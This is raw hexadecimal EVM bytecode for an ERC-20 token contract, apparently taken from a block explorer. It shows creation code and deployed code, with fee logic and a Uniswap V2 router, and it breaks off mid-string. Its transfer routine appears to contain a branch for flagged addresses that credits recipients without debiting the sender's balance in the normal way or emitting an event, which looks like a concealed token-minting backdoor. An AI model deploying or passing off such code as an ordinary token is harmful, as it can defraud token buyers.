91906121fe565b610889565b60405161035c9190612259565b60405180910390f35b34801561037157600080fd5b5061037a61093c565b60405161038791906122fd565b60405180910390f35b34801561039c57600080fd5b506103a5610942565b6040516103b291906123b1565b60405180910390f35b3480156103c757600080fd5b506103d0610968565b6040516103dd9190612259565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906123cc565b61097b565b005b34801561041b57600080fd5b50610424610a0a565b60405161043191906122fd565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c91906123f9565b610a10565b60405161046e91906122fd565b60405180910390f35b34801561048357600080fd5b5061048c610a59565b005b34801561049a57600080fd5b506104b560048036038101906104b091906123f9565b610a6d565b6040516104c29190612259565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612452565b610a8d565b005b34801561050057600080fd5b50610509610ab3565b60405161051691906123b1565b60405180910390f35b34801561052b57600080fd5b50610534610adc565b6040516105419190612143565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906121fe565b610b6e565b60405161057e9190612259565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a991906124ab565b610c3b565b005b3480156105bc57600080fd5b506105d760048036038101906105d291906121fe565b610c60565b6040516105e49190612259565b60405180910390f35b3480156105f957600080fd5b50610602610c7e565b005b34801561061057600080fd5b5061062b600480360381019061062691906124d8565b610f6e565b60405161063891906122fd565b60405180910390f35b34801561064d57600080fd5b50610668600480360381019061066391906123f9565b610ff5565b005b34801561067657600080fd5b50610691600480360381019061068c91906124ab565b611078565b005b6060600580546106a290612547565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce90612547565b801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b60006107396107326110d4565b84846110dc565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107a6848484611270565b610867846107b26110d4565b61086285604051806060016040528060288152602001612c9460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108186110d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a89092919063ffffffff16565b6110dc565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109326108966110d4565b8461092d85600260006108a76110d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b6110dc565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b610983611713565b601360149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906125c4565b60405180910390fd5b60006109de30610a10565b90506000606483836109f09190612613565b6109fa9190612684565b9050610a0581611791565b505050565b600c5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a61611713565b610a6b6000611805565b565b60036020528060005260406000206000915054906101000a900460ff1681565b610a95611713565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610aeb90612547565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1790612547565b8015610b645780601f10610b3957610100808354040283529160200191610b64565b820191906000526020600020905b815481529060010190602001808311610b4757829003601f168201915b5050505050905090565b6000610c31610b7b6110d4565b84610c2c85604051806060016040528060258152602001612cbc6025913960026000610ba56110d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a89092919063ffffffff16565b6110dc565b6001905092915050565b610c43611713565b80601360166101000a81548160ff02191690831515021790555050565b6000610c74610c6d6110d4565b8484611270565b6001905092915050565b610c86611713565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0e91906126ca565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9991906126ca565b6040518363ffffffff1660e01b8152600401610db69291906126f7565b6020604051808303816000875af1158015610dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df991906126ca565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eaf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eaa30610a10565b6110dc565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610a10565b600080610f03610ab3565b426040518863ffffffff1660e01b8152600401610f259695949392919061275b565b60606040518083038185885af1158015610f43573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f6891906127d1565b50505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ffd611713565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106390612896565b60405180910390fd5b61107581611805565b50565b611080611713565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516110c99190612259565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111465750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90612902565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161126391906122fd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112da5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611319576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113109061296e565b60405180910390fd5b6000811161135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612a00565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff161015801561139d5750601360149054906101000a900460ff16155b80156113f75750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561140f5750601360159054906101000a900460ff165b15611452576000600960006101000a81548160ff021916908360ff160217905550600061143b30610a10565b905060008111156114505761144f81611791565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114f95750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115c45750601360169054906101000a900460ff1680156115695750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115c35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156115d25760009050611696565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361163557600b54600a81905550611695565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361169457600c54600a819055505b5b5b6116a2848484846118c9565b50505050565b60008383111582906116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e79190612143565b60405180910390fd5b5082840390509392505050565b6000818361170b9190612a20565b905092915050565b61171b6110d4565b73ffffffffffffffffffffffffffffffffffffffff16611739610ab3565b73ffffffffffffffffffffffffffffffffffffffff161461178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178690612aa0565b60405180910390fd5b565b6001601360146101000a81548160ff0219169083151502179055506117b581611933565b60004790506117e6600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611b76565b506000601360146101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b806118db576118d6611bc1565b611914565b6009600081819054906101000a900460ff16809291906118fa90612ac0565b91906101000a81548160ff021916908360ff160217905550505b61191f848484611c1d565b8061192d5761192c61203b565b5b50505050565b6000600267ffffffffffffffff8111156119505761194f612ae9565b5b60405190808252806020026020018201604052801561197e5781602001602082028036833780820191505090505b509050308160008151811061199657611995612b18565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6191906126ca565b81600181518110611a7557611a74612b18565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611adc30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110dc565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b40959493929190612c05565b600060405180830381600087803b158015611b5a57600080fd5b505af1158015611b6e573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bbc573d6000803e3d6000fd5b505050565b6000600a54148015611bd557506000600b54145b8015611be357506000600c54145b611c1b57600b54600e81905550600c54600f81905550600a54600d819055506000600b819055506000600c819055506000600a819055505b565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c77576000611c7b565b6010545b9050601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611dfe57611d2182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db681600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612035565b600080611e0a8461206e565b91509150611e6084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205890919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef582600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8a81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161202a91906122fd565b60405180910390a350505b50505050565b600d54600a81905550600e54600b81905550600f54600c81905550565b600081836120669190612c5f565b905092915050565b60008060006064600a54856120839190612613565b61208d9190612684565b905060006120a4828661205890919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b838110156120ed5780820151818401526020810190506120d2565b60008484015250505050565b6000601f19601f8301169050919050565b6000612115826120b3565b61211f81856120be565b935061212f8185602086016120cf565b612138816120f9565b840191505092915050565b6000602082019050818103600083015261215d818461210a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121958261216a565b9050919050565b6121a58161218a565b81146121b057600080fd5b50565b6000813590506121c28161219c565b92915050565b6000819050919050565b6121db816121c8565b81146121e657600080fd5b50565b6000813590506121f8816121d2565b92915050565b6000806040838503121561221557612214612165565b5b6000612223858286016121b3565b9250506020612234858286016121e9565b9150509250929050565b60008115159050919050565b6122538161223e565b82525050565b600060208201905061226e600083018461224a565b92915050565b6000819050919050565b600061229961229461228f8461216a565b612274565b61216a565b9050919050565b60006122ab8261227e565b9050919050565b60006122bd826122a0565b9050919050565b6122cd816122b2565b82525050565b60006020820190506122e860008301846122c4565b92915050565b6122f7816121c8565b82525050565b600060208201905061231260008301846122ee565b92915050565b60008060006060848603121561233157612330612165565b5b600061233f868287016121b3565b9350506020612350868287016121b3565b9250506040612361868287016121e9565b9150509250925092565b600060ff82169050919050565b6123818161236b565b82525050565b600060208201905061239c6000830184612378565b92915050565b6123ab8161218a565b82525050565b60006020820190506123c660008301846123a2565b92915050565b6000602082840312156123e2576123e1612165565b5b60006123f0848285016121e9565b91505092915050565b60006020828403121561240f5761240e612165565b5b600061241d848285016121b3565b91505092915050565b61242f8161236b565b811461243a57600080fd5b50565b60008135905061244c81612426565b92915050565b60006020828403121561246857612467612165565b5b60006124768482850161243d565b91505092915050565b6124888161223e565b811461249357600080fd5b50565b6000813590506124a58161247f565b92915050565b6000602082840312156124c1576124c0612165565b5b60006124cf84828501612496565b91505092915050565b600080604083850312156124ef576124ee612165565b5b60006124fd858286016121b3565b925050602061250e858286016121b3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061255f57607f821691505b60208210810361257257612571612518565b5b50919050565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e600082015250565b60006125ae6020836120be565b91506125b982612578565b602082019050919050565b600060208201905081810360008301526125dd816125a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061261e826121c8565b9150612629836121c8565b9250828202612637816121c8565b9150828204841483151761264e5761264d6125e4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061268f826121c8565b915061269a836121c8565b9250826126aa576126a9612655565b5b828204905092915050565b6000815190506126c48161219c565b92915050565b6000602082840312156126e0576126df612165565b5b60006126ee848285016126b5565b91505092915050565b600060408201905061270c60008301856123a2565b61271960208301846123a2565b9392505050565b6000819050919050565b600061274561274061273b84612720565b612274565b6121c8565b9050919050565b6127558161272a565b82525050565b600060c08201905061277060008301896123a2565b61277d60208301886122ee565b61278a604083018761274c565b612797606083018661274c565b6127a460808301856123a2565b6127b160a08301846122ee565b979650505050505050565b6000815190506127cb816121d2565b92915050565b6000806000606084860312156127ea576127e9612165565b5b60006127f8868287016127bc565b9350506020612809868287016127bc565b925050604061281a868287016127bc565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006128806026836120be565b915061288b82612824565b604082019050919050565b600060208201905081810360008301526128af81612873565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006128ec6011836120be565b91506128f7826128b6565b602082019050919050565b6000602082019050818103600083015261291b816128df565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b60006129586015836120be565b915061296382612922565b602082019050919050565b600060208201905081810360008301526129878161294b565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b60006129ea6025836120be565b91506129f58261298e565b604082019050919050565b60006020820190508181036000830152612a19816129dd565b9050919050565b6000612a2b826121c8565b9150612a36836121c8565b9250828201905080821115612a4e57612a4d6125e4565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612a8a6020836120be565b9150612a9582612a54565b602082019050919050565b60006020820190508181036000830152612ab981612a7d565b9050919050565b6000612acb8261236b565b915060ff8203612ade57612add6125e4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612b7c8161218a565b82525050565b6000612b8e8383612b73565b60208301905092915050565b6000602082019050919050565b6000612bb282612b47565b612bbc8185612b52565b9350612bc783612b63565b8060005b83811015612bf8578151612bdf8882612b82565b9750612bea83612b9a565b925050600181019050612bcb565b5085935050505092915050565b600060a082019050612c1a60008301886122ee565b612c27602083018761274c565b8181036040830152612c398186612ba7565b9050612c4860608301856123a2565b612c5560808301846122ee565b9695505050505050565b6000612c6a826121c8565b9150612c75836121c8565b9250828203905081811115612c8d57612c8c6125e4565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208e43f8d60cdd319694fb7c2bc17080cfb12170b2c0945abfcb0b75f42f39b11564736f6c63430008130033000000000000000000000000af298d050e4395d69670b12b7f41000000000000
Deployed Bytecode
0x6080604052600436106101a05760003560e01c8063590f897e116100ec578063a457c2d71161008a578063c9567bf911610064578063c9567bf9146105ed578063dd62ed3e14610604578063f2fde38b14610641578063f7739b5f1461066a576101a7565b8063a457c2d71461054a578063a514a07d14610587578063a9059cbb146105b0576101a7565b8063768dc710116100c6578063768dc7101461048e5780637caefa89146104cb5780638da5cb5b146104f457806395d89b411461051f576101a7565b8063590f897e1461040f57806370a082311461043a578063715018a614610477576101a7565b806323b872dd1161015957806340b9a54b1161013357806340b9a54b1461036557806349bd5a5e146103905780634a74bb02146103bb5780634ca4a336146103e6576101a7565b806323b872dd146102c0578063313ce567146102fd5780633950935114610328576101a7565b806306fdde03146101ac578063095ea7b3146101d757806313fad07a146102145780631694505e1461023f57806318160ddd1461026a578063220f669614610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610693565b6040516101ce9190612143565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906121fe565b610725565b60405161020b9190612259565b60405180910390f35b34801561022057600080fd5b50610229610743565b6040516102369190612259565b60405180910390f35b34801561024b57600080fd5b50610254610756565b60405161026191906122d3565b60405180910390f35b34801561027657600080fd5b5061027f61077c565b60405161028c91906122fd565b60405180910390f35b3480156102a157600080fd5b506102aa610786565b6040516102b79190612259565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e29190612318565b610799565b6040516102f49190612259565b60405180910390f35b34801561030957600080fd5b50610312610872565b60405161031f9190612387565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a91906121fe565b610889565b60405161035c9190612259565b60405180910390f35b34801561037157600080fd5b5061037a61093c565b60405161038791906122fd565b60405180910390f35b34801561039c57600080fd5b506103a5610942565b6040516103b291906123b1565b60405180910390f35b3480156103c757600080fd5b506103d0610968565b6040516103dd9190612259565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906123cc565b61097b565b005b34801561041b57600080fd5b50610424610a0a565b60405161043191906122fd565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c91906123f9565b610a10565b60405161046e91906122fd565b60405180910390f35b34801561048357600080fd5b5061048c610a59565b005b34801561049a57600080fd5b506104b560048036038101906104b091906123f9565b610a6d565b6040516104c29190612259565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612452565b610a8d565b005b34801561050057600080fd5b50610509610ab3565b60405161051691906123b1565b60405180910390f35b34801561052b57600080fd5b50610534610adc565b6040516105419190612143565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906121fe565b610b6e565b60405161057e9190612259565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a991906124ab565b610c3b565b005b3480156105bc57600080fd5b506105d760048036038101906105d291906121fe565b610c60565b6040516105e49190612259565b60405180910390f35b3480156105f957600080fd5b50610602610c7e565b005b34801561061057600080fd5b5061062b600480360381019061062691906124d8565b610f6e565b60405161063891906122fd565b60405180910390f35b34801561064d57600080fd5b50610668600480360381019061066391906123f9565b610ff5565b005b34801561067657600080fd5b50610691600480360381019061068c91906124ab565b611078565b005b6060600580546106a290612547565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce90612547565b801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b60006107396107326110d4565b84846110dc565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107a6848484611270565b610867846107b26110d4565b61086285604051806060016040528060288152602001612c9460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108186110d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a89092919063ffffffff16565b6110dc565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109326108966110d4565b8461092d85600260006108a76110d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b6110dc565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b610983611713565b601360149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906125c4565b60405180910390fd5b60006109de30610a10565b90506000606483836109f09190612613565b6109fa9190612684565b9050610a0581611791565b505050565b600c5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a61611713565b610a6b6000611805565b565b60036020528060005260406000206000915054906101000a900460ff1681565b610a95611713565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610aeb90612547565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1790612547565b8015610b645780601f10610b3957610100808354040283529160200191610b64565b820191906000526020600020905b815481529060010190602001808311610b4757829003601f168201915b5050505050905090565b6000610c31610b7b6110d4565b84610c2c85604051806060016040528060258152602001612cbc6025913960026000610ba56110d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a89092919063ffffffff16565b6110dc565b6001905092915050565b610c43611713565b80601360166101000a81548160ff02191690831515021790555050565b6000610c74610c6d6110d4565b8484611270565b6001905092915050565b610c86611713565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0e91906126ca565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9991906126ca565b6040518363ffffffff1660e01b8152600401610db69291906126f7565b6020604051808303816000875af1158015610dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df991906126ca565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eaf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eaa30610a10565b6110dc565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610a10565b600080610f03610ab3565b426040518863ffffffff1660e01b8152600401610f259695949392919061275b565b60606040518083038185885af1158015610f43573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f6891906127d1565b50505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ffd611713565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106390612896565b60405180910390fd5b61107581611805565b50565b611080611713565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516110c99190612259565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111465750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90612902565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161126391906122fd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112da5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611319576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113109061296e565b60405180910390fd5b6000811161135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612a00565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff161015801561139d5750601360149054906101000a900460ff16155b80156113f75750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561140f5750601360159054906101000a900460ff165b15611452576000600960006101000a81548160ff021916908360ff160217905550600061143b30610a10565b905060008111156114505761144f81611791565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114f95750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115c45750601360169054906101000a900460ff1680156115695750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115c35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156115d25760009050611696565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361163557600b54600a81905550611695565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361169457600c54600a819055505b5b5b6116a2848484846118c9565b50505050565b60008383111582906116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e79190612143565b60405180910390fd5b508284039